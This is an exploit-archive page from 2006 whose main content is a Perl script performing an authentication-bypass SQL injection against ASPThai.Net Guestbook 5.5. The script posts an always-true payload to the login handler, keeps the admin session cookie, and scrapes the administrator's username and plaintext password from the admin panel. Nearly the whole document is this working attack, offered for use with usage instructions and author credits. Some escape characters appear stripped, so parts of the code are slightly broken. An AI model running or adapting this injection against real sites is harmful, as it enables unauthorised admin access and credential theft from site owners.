[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ASPThai.Net Guestbook <= 5.5 (Auth Bypass) SQL Injection Exploit
# Published : 2006-02-06
# Author : Zodiac
# Previous Title : MyQuiz 1.01 (PATH_INFO) Arbitrary Command Execution Exploit
# Next Title : phpBB 2.0.19 (Style Changer/Demo Mod) SQL Injection Exploit


#!/usr/bin/perl
# SQL Injection Exploit for ASPThai.Net Guestbook <= 5.5  
#(And possible higher could not find a site to test it on)
# This exploit shows the username of the administrator and the password In plain text
# Bug Found by muderskillz Coded by Zodiac
# Shouts to cijfer,uid0,|n|ex,ph4tel,z3r0,lethal, Felosi,seven,Spic and anyone else I forgot.
# http://exploitercode.com/ http://www.g00ns.net 
#irc.g00ns.net #g00ns  email = zodiac@g00ns.net
#(c) 2006

use LWP::UserAgent;
use HTTP::Cookies;

$Server = $ARGV[0];

if($Server =~m/http/g)
{
$Server=~ 'http://$Server';
print 
}
else {
  print $error;
}

if(!$Server) {usage();exit() ;}

head();

print "rnGrabbing Username And Passwordrnn";

#Login's and stores a cookie to view admin panel later


 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->agent('g00ns');
 $xpl->cookie_jar($cookie_jar);

 $res = $xpl->post(
 $Server.'check_user.asp',
 Content => [ 

	'txtUserName' => '' or '%67%30%30%6e%73'='%67%30%30%6e%73', 
	'txtUserPass' => '' or '%67%30%30%6e%73'='%67%30%30%6e%73',
	'Submit' => '-= Login =-',
 ],
 );

# Create a request
my $req = HTTP::Request->new(GET => 

$Server.'change_admin_username.asp'

);

$req->header('Referer', $Server.'admin_menu.asp');

my $res = $xpl->request($req);

$info= $res->content;

if($info =~ m/UnauthorisedsAccess|Thespagescannotsbesfound/) 
{ 
 die "Error Connecting...rn"; 
}

#Check the outcome of the response

$info=~m/(value=")(n+|w+|W+)/g;
$User = $2;
$info=~m/(value=")(n+|w+|W+)/g;
$Pass= $2;

print "UserName:$UserrnPassword:$Passrn";

sub head()
 {
 print "n=======================================================================rn";
 print "* ASPThai.Net Guestbook version 5.5 SQL Injection by www.g00ns.net *rn";   
 print "=======================================================================rn";
 }
sub usage()
 {
 head();
 print " Usage: Thaisql.pl <Site>  rnn";
 print " <Site> - Full path to Guestbook e.g. http://www.site.com/guestbook/ rn";
 print "=======================================================================rn";
 print "   -=Coded by Zodiac, Bug Found by MurderSkillz=-rn";
 print "www.exploitercode.com www.g00ns.net irc.g00ns.net #g00nsrn";
 print "=======================================================================rn";

# www.Syue.com [2006-02-06]